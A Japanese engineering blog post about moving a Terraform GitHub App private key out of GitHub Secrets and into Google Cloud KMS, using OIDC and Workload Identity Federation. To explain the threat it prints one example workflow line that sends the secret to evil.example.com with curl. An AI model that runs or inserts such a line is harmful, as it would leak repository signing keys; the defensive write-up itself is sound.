
10Xでは、GitHub Actionsのセキュリティ改善を段階的に進めてきました。もともとPAT(Personal Access Token)を使っていたところをGitHub App Tokenに移行し、さらにOcto STSを使ったToken運用の改善にも取り組んでいます。
そうした中で、まだGitHub Secretsに残っていたものがありました。Terraform用のGitHub Appの秘密鍵です。このAppに付与される権限が徐々に膨らんでいく中で、秘密鍵の保管方法がセキュリティ上無視できない課題になってきていました。この記事では、その課題と、秘密鍵をGitHub Secretsから追い出してGoogle Cloud KMSに閉じ込めるというアプローチについて書きます。
秘密鍵をGitHub Secretsに保存するということ
GitHub Appのトークンを発行するには、秘密鍵でJWTに署名する必要があります。多くのプロジェクトではactions/create-github-app-tokenのようなActionを使い、秘密鍵をGitHub Secretsに格納しています。
- uses: actions/create-github-app-token@f8d387b68d61c58ab83c6c016672934102569859 # v3.0.0 with: app-id: ${{ vars.APP_ID }} private-key: ${{ secrets.APP_PRIVATE_KEY }}
一見すると問題なさそうに見えます。GitHub SecretsはUIから値を取り出せませんし、ログにもマスクされます。しかし、ここにはいくつかの落とし穴があります。
何が問題だったのか
ワークフローを書き換えれば秘密鍵を持ち出せる
GitHub Secretsの値はUIからは見えません。ですが、GitHub Actionsのワークフローには値そのものが渡されます。つまり、ワークフローファイルを書き換えて秘密鍵をどこかに送信するコードを仕込めば、鍵を盗むことができてしまいます。
# 悪意のある改変例 - run: echo "${{ secrets.APP_PRIVATE_KEY }}" | base64 | curl -X POST -d @- https://evil.example.com
リポジトリに書き込み権限を持つ人、あるいはアカウントが乗っ取られた場合、これは現実的な攻撃シナリオになります。
自分たちのケースでは、Terraform用のGitHub Appにはかなり強めの権限が付与されていました(これはTerraformでGitHubリソースを管理する都合上、必要に応じて権限を足していった結果です)。この鍵が持ち出された場合の影響範囲は非常に大きく、放置できる状態ではありませんでした。
push rulesetだけでは保護範囲が広すぎる
「ワークフローファイルを改変できないように保護すればいい」という考えもあります。GitHubにはpush rulesetという仕組みがあり、特定のファイルパスへのpushを制限できます。push rulesetはファイル単位で保護対象を指定できるので、terraform_plan.yamlだけを守ることも技術的には可能です。
しかし、GitHub Secretsの仕組み上、Secretはリポジトリ内のすべてのワークフロー(あるいはEnvironmentに属するすべてのワークフロー)からアクセスできます。つまり、terraform_plan.yamlをpush rulesetで守っていても、同じSecretsにアクセスできる別のワークフローを新たに作成すれば、そこから秘密鍵を持ち出せてしまいます。これを防ぐには結局、.github/workflows/配下やそこから呼ばれる.github/actions/配下を丸ごと保護せざるを得ません。結果として、秘密鍵とは無関係なワークフローまで保護対象に含まれ、SRE以外のメンバーがワークフローを触りたいときに非常に不便になります。
これまで、自分たちのリポジトリでは改変を防ぐために.github/全体をprotectしている状態でした。セキュリティのためとはいえ、開発者体験を大きく損なっていました。
ちなみに、GitHubは2026年のActions セキュリティロードマップで、Secretsを特定のリポジトリ・ブランチ・環境にスコープできる「スコープ付きシークレット」の導入を予定しています。これが実現すれば、Secrets側のアクセス制御だけでこの問題を緩和できるようになるかもしれません。ただし現時点ではまだリリースされていないため、今回はKMSに鍵を移すアプローチをとっています。
鍵のローテーションが面倒
秘密鍵を更新するたびに、その鍵を使っている各リポジトリのSecretsを手動で差し替える必要があります。リポジトリが増えるほど、この運用コストは膨らんでいきます。
秘密鍵をKMSに閉じ込める
こうした課題に対する自分たちのアプローチは、秘密鍵をGitHub Secretsから取り除き、Google Cloud KMS(Key Management Service)に閉じ込めるというものです。
端的に言うと、JWTの署名処理だけをGitHub外のKMSに委譲します。秘密鍵はKMS内に格納され、鍵そのものはGitHub Actionsの実行環境に一切渡されません。ワークフローに渡されるのはKMS上の鍵を指すリソースID(プロジェクトID、キーリングID、キーID)だけで、これらは秘密情報ではありません。
処理の流れは以下のようになります。
- GitHub ActionsのOIDCトークンを取得する
- Workload Identity Federationを通じてGoogle Cloudの認証情報を得る
- 未署名のJWTを生成する
- KMSに署名だけを依頼する(鍵はKMSの外に出ない)
- 署名済みJWTでGitHub APIからアクセストークンを取得する
- ワークフロー終了時にトークンを自動失効させる
ちなみに、得られるGitHub App Tokenは従来と同等のものなので、後続のステップは何も変える必要がありません。
実装としては、この仕組みをGitHub Actionとして提供するghatというツールを使っています。
- uses: yagihash/ghat@e503e9d9284b16d42d3b477bc1e5fcffb5ef251b # v2.1.0 id: token with: app_id: ${{ vars.APP_ID }} kms_project_id: ${{ vars.KMS_PROJECT_ID }} kms_location: ${{ vars.KMS_LOCATION }} kms_keyring_id: ${{ vars.KMS_KEYRING_ID }} kms_key_id: ${{ vars.KMS_KEY_ID }} repositories: my-repo
これで何が変わるのか
鍵が盗めなくなる
仮にワークフローを改変されても、KMSの中にある鍵を取り出すことはできません。KMSは鍵素材の閲覧やエクスポートを許可しない設計になっています。
「鍵を使って署名させることはできるのでは?」という指摘はもっともで、それは残存リスクとして存在します。任意のブランチからKMSへのアクセスは可能なので、悪意のあるJWTを作成してKMSで署名し、GitHub Appとして操作することは理論上可能です。ですが、これはそもそも秘密鍵がGitHub Secretsにある現状でも同じリスクです。鍵が持ち出せない時点で差分があり、「鍵を持ち出されて好き放題される」リスクと「一時的に署名させられる」リスクでは、深刻度がまるで違います。
保護すべきファイルを最小限にできる
ここが今回の取り組みの真価ともいえるポイントです。
これを可能にしているのが、GitHub ActionsのOIDCトークンとWorkload Identity Federation(WIF)の組み合わせです。GitHub Actionsが発行するOIDCトークンには、workflow_ref(どのワークフローファイルから実行されたか)、environment(どのEnvironmentで実行されたか)、repositoryなど、実行コンテキストに関するさまざまなclaimが含まれています。WIFのattribute_conditionでこれらのclaimを細かくチェックすることで、KMSへのアクセスを「特定のリポジトリの、特定のワークフローから、特定のEnvironmentで実行された場合のみ」といった粒度で制限できます。
自分たちのケースでは、environmentとworkflow_refの両方で縛るようにしています。push rulesetで保護すべき対象は「そのワークフローファイルとそこから呼ばれる内部Action」だけに絞り込めます。
- Before
.github/workflows/全体を保護 → 誰もワークフローを気軽に編集できない
- After
terraform_plan.yamlとterraform_apply.yamlだけ保護 → 他のワークフローは自由に編集可能
従来のpush rulesetだけのアプローチでは、ワークフロー全体を守らざるを得ませんでした。秘密鍵をKMSに移しWorkload Identity Federationと組み合わせることで、アクセス制御をGitHub外に出し、push rulesetの対象を本当に守るべきファイルだけに絞れます。セキュリティと開発者体験のトレードオフが大幅に改善されます。
鍵のローテーションが容易になる
KMS側で新しいキーバージョンを作成し、ワークフローで指定するバージョン番号を更新するだけで済みます(現時点ではghatが最新のキーバージョンを自動で参照する機能がないため、ワークフロー側での指定変更が必要です)。それでも、各リポジトリのSecretsに秘密鍵を貼り直す作業に比べれば大幅に楽になります。また、Cloud Audit Logsで署名操作の監査ログも自動的に残ります。誰がいつ鍵を使ったのかを追跡できるのは、セキュリティ運用の観点でも大きいです。
補足
一方で、Google Cloudへの依存が生まれます。KMS、Workload Identity Federation、サービスアカウントなど、セットアップに必要なリソースは少なくありません。Google Cloudの障害時にはIaCの実行が止まる可能性もあります。KMSの利用料も発生します(微小ですが)。
障害発生時などTerraformのplan/applyができなくなった場合は、従来のactions/create-github-app-tokenに戻すことでリカバリできます。一時的にセキュリティレベルは下がりますが、IaCが完全に止まるよりはましでしょう。
まとめ
GitHub Appの秘密鍵をGitHub Secretsに置く運用は、手軽ですが「ワークフロー改変による鍵の持ち出し」というリスクを内在しています。そしてそのリスクをpush rulesetだけで防ごうとすると、保護範囲が広がりすぎて開発者体験を損ないます。
秘密鍵をGitHub Secretsから追い出してKMSに閉じ込めることで、この問題を構造的に解決できます。鍵はどこにも露出せず、保護すべきファイルは最小限で済み、監査ログも残ります。Google Cloudを使っている組織であれば、検討する価値のあるアプローチです。